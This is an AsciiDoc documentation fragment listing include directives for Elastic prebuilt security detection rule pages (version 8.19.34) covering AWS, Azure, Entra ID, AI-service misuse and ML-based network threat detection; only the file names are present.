+include::prebuilt-rule-8-19-34-aws-sqs-queue-purge.asciidoc[] +include::prebuilt-rule-8-19-34-aws-first-occurrence-of-sts-getfederationtoken-request-by-user.asciidoc[] +include::prebuilt-rule-8-19-34-insecure-aws-ec2-vpc-security-group-ingress-rule-added.asciidoc[] +include::prebuilt-rule-8-19-34-aws-waf-access-control-list-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-aws-waf-rule-or-rule-group-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-aws-backup-resource-enumeration-via-long-term-access-key.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-foundation-model-enumeration-followed-by-invocation-via-long-term-key.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-deprecated-ami-discovery.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-user-data-retrieval-for-ec2-instance.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-principal-enumeration-via-updateassumerolepolicy.asciidoc[] +include::prebuilt-rule-8-19-34-aws-discovery-api-calls-via-cli-from-a-single-resource.asciidoc[] +include::prebuilt-rule-8-19-34-aws-sts-getcalleridentity-api-called-for-the-first-time.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-role-getcalleridentity-from-new-source-as-organization.asciidoc[] +include::prebuilt-rule-8-19-34-aws-discovery-api-calls-from-vpn-asn-for-the-first-time-by-identity.asciidoc[] +include::prebuilt-rule-8-19-34-aws-service-quotas-multi-region-getservicequota-requests.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ses-enumeration-via-long-term-access-key.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ssm-inventory-reconnaissance-by-rare-user.asciidoc[] +include::prebuilt-rule-8-19-34-aws-batch-job-submitted-with-container-override-by-unusual-identity.asciidoc[] +include::prebuilt-rule-8-19-34-aws-cloudshell-environment-created.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-stop-start-and-user-data-modification-correlation.asciidoc[] +include::prebuilt-rule-8-19-34-aws-lambda-layer-added-to-existing-function.asciidoc[] +include::prebuilt-rule-8-19-34-aws-lambda-function-invoked-by-an-unusual-principal.asciidoc[] +include::prebuilt-rule-8-19-34-aws-lambda-function-invoked-cross-account.asciidoc[] +include::prebuilt-rule-8-19-34-aws-lambda-function-invoked-from-an-unusual-source-asn.asciidoc[] +include::prebuilt-rule-8-19-34-aws-lambda-layer-shared-externally.asciidoc[] +include::prebuilt-rule-8-19-34-first-time-aws-cloudformation-stack-creation.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ssm-command-document-created-by-rare-user.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ssm-sendcommand-execution-by-rare-user.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-high-frequency-single-model-inference-api-probing.asciidoc[] +include::prebuilt-rule-8-19-34-aws-dynamodb-scan-by-unusual-user.asciidoc[] +include::prebuilt-rule-8-19-34-aws-dynamodb-table-exported-to-s3.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-ami-shared-with-another-account.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-ebs-snapshot-shared-or-made-public.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-export-task.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-full-network-packet-capture-detected.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ecr-repository-or-registry-policy-granted-public-access.asciidoc[] +include::prebuilt-rule-8-19-34-aws-rds-snapshot-export.asciidoc[] +include::prebuilt-rule-8-19-34-aws-rds-db-snapshot-shared-with-another-account.asciidoc[] +include::prebuilt-rule-8-19-34-aws-s3-bucket-policy-added-to-share-with-external-account.asciidoc[] +include::prebuilt-rule-8-19-34-aws-s3-bucket-policy-added-to-allow-public-access.asciidoc[] +include::prebuilt-rule-8-19-34-aws-s3-bucket-replicated-to-another-account.asciidoc[] +include::prebuilt-rule-8-19-34-aws-api-activity-from-uncommon-s3-client-by-rare-user.asciidoc[] +include::prebuilt-rule-8-19-34-aws-sns-rare-protocol-subscription-by-user.asciidoc[] +include::prebuilt-rule-8-19-34-aws-account-closed.asciidoc[] +include::prebuilt-rule-8-19-34-aws-eventbridge-rule-disabled-or-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-aws-s3-bucket-enumeration-or-brute-force.asciidoc[] +include::prebuilt-rule-8-19-34-aws-backup-recovery-point-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-aws-backup-vault-deleted-or-vault-lock-removed.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-api-key-used-for-destructive-or-anti-recovery-action.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-knowledge-base-or-rag-data-source-tampering.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-provisioned-model-throughput-tampering.asciidoc[] +include::prebuilt-rule-8-19-34-aws-cloudtrail-log-updated.asciidoc[] +include::prebuilt-rule-8-19-34-aws-cloudwatch-log-group-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-aws-cloudwatch-log-stream-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-encryption-disabled.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-ebs-snapshot-access-removed.asciidoc[] +include::prebuilt-rule-8-19-34-aws-potential-cryptomining-via-ecs-task-definition-deployment.asciidoc[] +include::prebuilt-rule-8-19-34-aws-efs-file-system-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-deactivation-of-mfa-device.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-group-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-aws-kms-customer-managed-key-disabled-or-scheduled-for-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-aws-kms-imported-key-material-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-aws-lambda-function-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-aws-lambda-function-high-frequency-invocation-by-a-single-principal.asciidoc[] +include::prebuilt-rule-8-19-34-aws-rds-db-instance-or-cluster-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-aws-rds-db-instance-or-cluster-deletion-protection-disabled.asciidoc[] +include::prebuilt-rule-8-19-34-aws-rds-snapshot-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-potential-aws-s3-bucket-ransomware-note-uploaded.asciidoc[] +include::prebuilt-rule-8-19-34-excessive-aws-s3-object-encryption-with-sse-c.asciidoc[] +include::prebuilt-rule-8-19-34-aws-s3-bucket-mfa-delete-disabled.asciidoc[] +include::prebuilt-rule-8-19-34-aws-s3-object-encryption-using-external-kms-key.asciidoc[] +include::prebuilt-rule-8-19-34-aws-s3-object-versioning-suspended.asciidoc[] +include::prebuilt-rule-8-19-34-aws-s3-static-site-javascript-file-uploaded.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-aws-s3-object-encryption-with-sse-c.asciidoc[] +include::prebuilt-rule-8-19-34-aws-assumerolewithwebidentity-from-kubernetes-sa-and-external-asn.asciidoc[] +include::prebuilt-rule-8-19-34-aws-rare-source-as-organization-activity.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-user-console-login-from-multiple-geolocations.asciidoc[] +include::prebuilt-rule-8-19-34-aws-management-console-root-login.asciidoc[] +include::prebuilt-rule-8-19-34-aws-credentials-used-from-github-actions-and-non-ci-cd-infrastructure.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-user-console-login-without-mfa.asciidoc[] +include::prebuilt-rule-8-19-34-aws-sign-in-root-password-recovery-requested.asciidoc[] +include::prebuilt-rule-8-19-34-aws-sign-in-console-login-with-federated-user.asciidoc[] +include::prebuilt-rule-8-19-34-aws-suspicious-user-agent-fingerprint.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ssm-session-started-to-ec2-instance.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-instance-connect-ssh-public-key-uploaded.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-instance-console-login-via-assumed-role.asciidoc[] +include::prebuilt-rule-8-19-34-aws-lateral-movement-from-kubernetes-sa-via-assumerolewithwebidentity.asciidoc[] +include::prebuilt-rule-8-19-34-aws-sns-topic-message-publish-by-rare-user.asciidoc[] +include::prebuilt-rule-8-19-34-spike-in-aws-error-messages.asciidoc[] +include::prebuilt-rule-8-19-34-rare-aws-error-code.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-city-for-an-aws-command.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-country-for-an-aws-command.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-agent-created-by-iam-user-or-root.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-agent-or-action-group-manipulation.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-unauthorized-foundation-model-access-attempt.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-foundation-model-access-enabled-or-entitlement-granted.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-unauthorized-resource-based-policy-modification-attempt.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-resource-based-policy-modified-or-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-third-party-or-external-knowledge-base-associated-to-agent.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-untrusted-model-imported-or-marketplace-endpoint-registered.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-network-access-control-list-creation.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-route-table-modified-or-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-security-group-configuration-change.asciidoc[] +include::prebuilt-rule-8-19-34-aws-eks-access-entry-created-then-deleted-by-same-identity.asciidoc[] +include::prebuilt-rule-8-19-34-aws-eks-access-entry-modified.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-login-profile-added-for-root.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-create-user-via-assumed-role-on-ec2-instance.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-group-creation.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-login-profile-created-or-modified-for-an-iam-user.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-oidc-provider-created-by-rare-user.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-roles-anywhere-profile-creation.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-roles-anywhere-trust-anchor-created-with-external-ca.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-saml-provider-created.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ses-full-access-policy-attached-to-iam-entity-by-unusual-user.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-user-created-access-keys-for-another-user.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-user-self-created-access-key-subsequently-used.asciidoc[] +include::prebuilt-rule-8-19-34-aws-lambda-function-policy-updated-to-allow-public-invocation.asciidoc[] +include::prebuilt-rule-8-19-34-aws-lambda-function-policy-updated-to-allow-cross-account-invocation.asciidoc[] +include::prebuilt-rule-8-19-34-aws-lambda-event-source-mapping-creation.asciidoc[] +include::prebuilt-rule-8-19-34-aws-lambda-function-url-created-with-public-access.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-createkeypair-by-new-principal-from-non-cloud-as-organization.asciidoc[] +include::prebuilt-rule-8-19-34-aws-organizations-delegated-administrator-registered.asciidoc[] +include::prebuilt-rule-8-19-34-aws-rds-db-instance-or-cluster-password-modified.asciidoc[] +include::prebuilt-rule-8-19-34-aws-rds-db-instance-made-public.asciidoc[] +include::prebuilt-rule-8-19-34-aws-route-53-domain-transfer-lock-disabled.asciidoc[] +include::prebuilt-rule-8-19-34-aws-route-53-domain-transferred-to-another-account.asciidoc[] +include::prebuilt-rule-8-19-34-aws-route-53-private-hosted-zone-associated-with-a-vpc.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-route-table-created.asciidoc[] +include::prebuilt-rule-8-19-34-aws-sagemaker-notebook-lifecycle-configuration-with-suspicious-script-content.asciidoc[] +include::prebuilt-rule-8-19-34-aws-sensitive-iam-operations-performed-via-cloudshell.asciidoc[] +include::prebuilt-rule-8-19-34-aws-sts-assumerole-with-new-mfa-device.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-agentcore-execution-role-used-outside-its-runtime.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-agentcore-resource-created-with-iam-execution-role.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-api-key-phantom-user-activity-outside-bedrock.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-credentials-added-to-a-bedrock-api-key-phantom-user.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-instance-profile-associated-with-running-instance.asciidoc[] +include::prebuilt-rule-8-19-34-aws-eks-access-entry-granted-cluster-admin-policy.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-administratoraccess-policy-attached-to-group.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-administratoraccess-policy-attached-to-role.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-administratoraccess-policy-attached-to-user.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-customer-managed-policy-version-created-or-default-version-set.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-inline-policy-added-to-a-group.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-permissions-boundary-modified-or-removed.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-sensitive-operations-via-lambda-execution-role.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-saml-provider-updated.asciidoc[] +include::prebuilt-rule-8-19-34-aws-kms-key-policy-updated-via-putkeypolicy.asciidoc[] +include::prebuilt-rule-8-19-34-aws-sts-role-assumption-by-service.asciidoc[] +include::prebuilt-rule-8-19-34-aws-sts-role-assumption-by-user.asciidoc[] +include::prebuilt-rule-8-19-34-aws-sagemaker-execution-role-passed-by-unusual-principal.asciidoc[] +include::prebuilt-rule-8-19-34-aws-sts-assumeroot-by-rare-user-and-member-account.asciidoc[] +include::prebuilt-rule-8-19-34-aws-sts-getfederationtoken-with-administratoraccess-in-request.asciidoc[] +include::prebuilt-rule-8-19-34-aws-sts-role-chaining.asciidoc[] +include::prebuilt-rule-8-19-34-aws-service-quota-increase-requested-by-rare-identity.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ses-account-email-sending-enabled.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ses-email-identity-verified-then-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-aws-sns-topic-created-by-rare-user.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-invocations-without-guardrails-detected-by-a-single-user-over-a-session.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-guardrails-detected-multiple-violations-by-a-single-user-over-a-session.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-guardrails-detected-multiple-policy-violations-within-a-single-blocked-request.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-high-confidence-content-filter-blocks-detected.asciidoc[] +include::prebuilt-rule-8-19-34-potential-abuse-of-resources-by-high-token-count-and-large-response-sizes.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-detected-multiple-attempts-to-use-denied-models-by-a-single-user.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-high-denied-sensitive-information-policy-blocks-detected.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-high-denied-topic-blocks-detected.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-detected-multiple-validation-exception-errors-by-a-single-user.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-high-word-policy-blocks-detected.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-model-prompt-or-completion-containing-credentials.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-high-risk-filesystem-or-execution-tool-invocation.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-agentcore-runtime-prompt-containing-credentials.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-agentcore-runtime-prompt-targeting-credentials-or-instance-metadata.asciidoc[] +include::prebuilt-rule-8-19-34-azure-storage-account-blob-public-access-enabled.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-sharepoint-or-onedrive-accessed-by-unusual-client.asciidoc[] +include::prebuilt-rule-8-19-34-microsoft-graph-email-access-by-unusual-user-and-client.asciidoc[] +include::prebuilt-rule-8-19-34-azure-aks-coredns-or-kube-dns-configuration-modified.asciidoc[] +include::prebuilt-rule-8-19-34-azure-aks-certificate-signing-request-created-or-approved.asciidoc[] +include::prebuilt-rule-8-19-34-azure-aks-secret-get-or-list-with-suspicious-user-agent.asciidoc[] +include::prebuilt-rule-8-19-34-azure-aks-service-account-token-created-via-tokenrequest-api.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-oauth-device-code-flow-with-concurrent-sign-ins.asciidoc[] +include::prebuilt-rule-8-19-34-azure-service-principal-sign-in-followed-by-arc-cluster-credential-access.asciidoc[] +include::prebuilt-rule-8-19-34-azure-storage-account-keys-accessed-by-privileged-user.asciidoc[] +include::prebuilt-rule-8-19-34-azure-vm-boot-diagnostics-retrieved.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-oauth-device-code-sign-in-to-azure-ad-graph-enumeration.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-user-sign-in-brute-force-attempted.asciidoc[] +include::prebuilt-rule-8-19-34-microsoft-entra-id-exccessive-account-lockouts-detected.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-device-bound-prt-replay-via-first-party-app-from-unusual-ip.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-device-bound-prt-from-unusual-device-ip.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-ropc-authentication-with-unknown-client-id.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-sign-in-brute-force-attempted-microsoft-365.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-concurrent-sign-in-with-suspicious-properties.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-mfa-totp-brute-force-attempted.asciidoc[] +include::prebuilt-rule-8-19-34-azure-key-vault-excessive-secret-or-key-retrieved.asciidoc[] +include::prebuilt-rule-8-19-34-azure-key-vault-unusual-secret-key-usage.asciidoc[] +include::prebuilt-rule-8-19-34-azure-vnet-full-network-packet-capture-enabled.asciidoc[] +include::prebuilt-rule-8-19-34-azure-storage-account-key-regenerated.asciidoc[] +include::prebuilt-rule-8-19-34-azure-automation-runbook-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-azure-aks-kubernetes-events-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-conditional-access-mfa-bypass-with-unusual-user-client-and-source-asn.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-windows-hello-or-passkey-sign-in-from-unregistered-device.asciidoc[] +include::prebuilt-rule-8-19-34-azure-event-hub-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-azure-diagnostic-settings-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-azure-kubernetes-services-aks-kubernetes-events-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-azure-vnet-firewall-policy-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-azure-vnet-firewall-front-door-waf-policy-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-azure-vnet-network-watcher-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-azure-diagnostic-settings-alert-suppression-rule-created-or-modified.asciidoc[] +include::prebuilt-rule-8-19-34-azure-blob-storage-permissions-modified.asciidoc[] +include::prebuilt-rule-8-19-34-azure-ad-graph-high-4xx-error-ratio-from-user.asciidoc[] +include::prebuilt-rule-8-19-34-azure-ad-graph-potential-enumeration-roadrecon.asciidoc[] +include::prebuilt-rule-8-19-34-azure-ad-graph-access-with-suspicious-user-agent.asciidoc[] +include::prebuilt-rule-8-19-34-azure-ad-graph-access-with-unusual-client-and-user.asciidoc[] +include::prebuilt-rule-8-19-34-azure-aks-potential-api-enumeration-by-user.asciidoc[] +include::prebuilt-rule-8-19-34-azure-aks-suspicious-self-subject-review-by-service-account-or-node-identity.asciidoc[] +include::prebuilt-rule-8-19-34-azure-storage-anonymous-blob-access-to-unusual-resource.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-sign-in-bloodhound-suite-user-agent-detected.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-sign-in-teamfiltration-user-agent-detected.asciidoc[] +include::prebuilt-rule-8-19-34-microsoft-graph-multi-category-reconnaissance-burst.asciidoc[] +include::prebuilt-rule-8-19-34-azure-blob-storage-container-access-level-modified.asciidoc[] +include::prebuilt-rule-8-19-34-azure-automation-runbook-created-or-modified.asciidoc[] +include::prebuilt-rule-8-19-34-azure-aks-ephemeral-container-added-to-pod.asciidoc[] +include::prebuilt-rule-8-19-34-azure-aks-kubelet-proxy-to-command-execution-endpoint.asciidoc[] +include::prebuilt-rule-8-19-34-azure-aks-attempted-user-exec-into-pod.asciidoc[] +include::prebuilt-rule-8-19-34-azure-vm-extension-crud-operation-with-unusual-source-asn.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-azure-vm-extension-detected.asciidoc[] +include::prebuilt-rule-8-19-34-azure-vm-managed-run-command-created-or-updated-with-unusual-principal.asciidoc[] +include::prebuilt-rule-8-19-34-azure-compute-vm-command-executed.asciidoc[] +include::prebuilt-rule-8-19-34-azure-storage-blob-retrieval-via-azcopy.asciidoc[] +include::prebuilt-rule-8-19-34-azure-compute-restore-point-collection-deleted-by-unusual-user.asciidoc[] +include::prebuilt-rule-8-19-34-azure-compute-restore-point-collections-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-azure-compute-snapshot-deletion-by-unusual-user-and-resource-group.asciidoc[] +include::prebuilt-rule-8-19-34-azure-compute-snapshot-deletions-by-user.asciidoc[] +include::prebuilt-rule-8-19-34-azure-storage-account-deletion-by-unusual-user.asciidoc[] +include::prebuilt-rule-8-19-34-azure-storage-account-deletions-by-user.asciidoc[] +include::prebuilt-rule-8-19-34-azure-key-vault-modified.asciidoc[] +include::prebuilt-rule-8-19-34-azure-kubernetes-services-aks-kubernetes-pods-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-azure-resource-group-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-azure-ad-graph-access-with-unusual-user-and-asn.asciidoc[] +include::prebuilt-rule-8-19-34-azure-arc-cluster-credential-access-by-identity-from-unusual-source.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-actor-token-user-impersonation-abuse.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-oauth-device-code-grant-by-microsoft-authentication-broker.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-external-guest-user-invited.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-service-principal-federated-credential-authentication-by-unusual-client.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-oauth-device-code-grant-by-unusual-user.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-oauth-user-impersonation-to-microsoft-graph.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-high-risk-sign-in.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-illicit-consent-grant-via-registered-application.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-kali365-default-user-agent-detected.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-microsoft-authentication-broker-sign-in-with-non-standard-user-agent.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-microsoft-authentication-broker-sign-in-to-unusual-resource.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-oauth-authorization-code-grant-for-unusual-user-app-and-resource.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-oauth-device-code-phishing-via-aitm.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-oauth-phishing-via-first-party-microsoft-application.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-oauth-user-impersonation-scope-for-unusual-user-and-client.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-powershell-sign-in.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-protection-alerts-for-user-detected.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-protection-admin-confirmed-compromise.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-protection-risk-detection-sign-in-risk.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-protection-risk-detection-user-risk.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-user-sign-in-with-unusual-client.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-user-sign-in-with-unusual-authentication-type.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-high-risk-user-sign-in-heuristic.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-service-principal-with-unusual-source-asn.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-oauth-flow-by-microsoft-authentication-broker-to-device-registration-service-drs.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-temporary-access-pass-created-for-user.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-user-sign-in-via-unusual-legacy-authentication-client.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-oauth-ropc-grant-login-detected.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-user-reported-suspicious-activity.asciidoc[] +include::prebuilt-rule-8-19-34-microsoft-graph-request-user-impersonation-by-unusual-client.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-potential-aitm-sign-in-via-officehome-tycoon2fa.asciidoc[] +include::prebuilt-rule-8-19-34-azure-aks-api-server-proxying-request-to-kubelet.asciidoc[] +include::prebuilt-rule-8-19-34-azure-vm-serial-console-connection-with-unusual-user-and-asn.asciidoc[] +include::prebuilt-rule-8-19-34-azure-automation-account-created.asciidoc[] +include::prebuilt-rule-8-19-34-azure-automation-webhook-created.asciidoc[] +include::prebuilt-rule-8-19-34-azure-vm-extension-deployment-by-user.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-application-credential-modified.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-conditional-access-policy-cap-modified.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-aitm-phishing-kit-chain-detected.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-global-administrator-role-assigned.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-guest-account-promoted-to-member.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-mfa-disabled-for-user.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-microsoft-authentication-broker-drs-sign-in-from-suspicious-asn.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-multiple-device-registrations-by-a-single-user.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-oauth-application-redirect-uri-modified.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-device-registration-with-phishing-kit-default-os-build.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-global-administrator-role-assigned-pim-user.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-privileged-identity-management-pim-role-modified.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-register-device-with-unusual-user-agent-azure-ad-join.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-device-registration-with-roadtools-default-os-build.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-oauth-prt-issuance-to-non-managed-device-detected.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-service-principal-created.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-service-principal-credentials-created-by-unusual-user.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-adrs-token-request-by-microsoft-authentication-broker.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-unusual-cloud-device-registration.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-user-added-as-registered-application-owner.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-user-added-as-service-principal-owner.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-user-sign-in-with-unusual-non-managed-device.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-windows-hello-for-business-credential-registered.asciidoc[] +include::prebuilt-rule-8-19-34-azure-event-hub-authorization-rule-created-or-updated.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-external-authentication-methods-eam-modified.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-protection-user-alert-and-device-registration.asciidoc[] +include::prebuilt-rule-8-19-34-azure-rbac-built-in-administrator-roles-assigned.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-elevated-access-to-user-access-administrator.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-domain-federation-configuration-change.asciidoc[] +include::prebuilt-rule-8-19-34-azure-kubernetes-services-aks-kubernetes-rolebindings-created.asciidoc[] +include::prebuilt-rule-8-19-34-entra-id-custom-domain-added-or-verified.asciidoc[] +include::prebuilt-rule-8-19-34-potential-denial-of-azure-openai-ml-service.asciidoc[] +include::prebuilt-rule-8-19-34-azure-openai-insecure-output-handling.asciidoc[] +include::prebuilt-rule-8-19-34-potential-azure-openai-model-theft.asciidoc[] +include::prebuilt-rule-8-19-34-statistical-model-detected-c2-beaconing-activity.asciidoc[] +include::prebuilt-rule-8-19-34-statistical-model-detected-c2-beaconing-activity-with-high-confidence.asciidoc[] +include::prebuilt-rule-8-19-34-cyberark-privileged-access-security-error.asciidoc[] +include::prebuilt-rule-8-19-34-cyberark-privileged-access-security-recommended-monitor.asciidoc[] +include::prebuilt-rule-8-19-34-machine-learning-detected-dga-activity-using-a-known-sunburst-dns-domain.asciidoc[] +include::prebuilt-rule-8-19-34-machine-learning-detected-a-dns-request-with-a-high-dga-probability-score.asciidoc[] +include::prebuilt-rule-8-19-34-machine-learning-detected-a-dns-request-predicted-to-be-a-dga-domain.asciidoc[] +include::prebuilt-rule-8-19-34-memory-threat-detected-elastic-defend.asciidoc[] 